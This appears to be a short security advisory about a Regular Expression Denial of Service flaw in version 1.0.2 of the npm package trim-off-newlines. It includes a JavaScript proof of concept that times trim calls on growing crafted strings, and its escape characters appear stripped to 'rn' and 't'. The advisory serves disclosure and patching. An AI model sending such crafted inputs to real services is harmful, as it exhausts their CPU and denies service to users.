trim-off-newlines@1.0.2 vulnerabilities

trim-off-newlines is a Similar to String#trim() but removes only newlines

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via string processing.

PoC

const trim = require('trim-off-newlines');

for (let i=10; i < 25; i += 1)
{
const s = 'a' + ("rn").repeat(i) + 'a';
const start = +new Date();
trim(s);
const end = +new Date();
console.log(s.length + 't' + (end - start));
}

Upgrade trim-off-newlines to version 1.0.3 or higher.